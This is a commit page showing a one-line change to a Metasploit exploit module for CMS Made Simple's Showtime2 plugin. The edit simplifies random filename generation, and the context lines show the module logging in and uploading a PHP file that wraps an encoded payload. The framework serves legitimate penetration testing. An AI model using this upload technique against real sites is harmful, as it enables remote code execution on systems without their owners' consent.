Update modules/exploits/multi/http/cmsms_showtime2_rce.rb
Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>master
parent
fe0d5e0c97
commit
050aa7a98c
|
@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
do_login
|
||||
|
||||
# Upload PHP payload
|
||||
fname = "#{rand_text_alphanumeric(rand(3..9))}.php"
|
||||
fname = "#{rand_text_alphanumeric(3..9)}.php"
|
||||
fcontent = "<?php #{payload.encode} ?>"
|
||||
print_status('Uploading PHP payload.')
|
||||
if Failure::Unknown == upload(fname, fcontent)
|
||||
|
|
Loading…
Reference in New Issue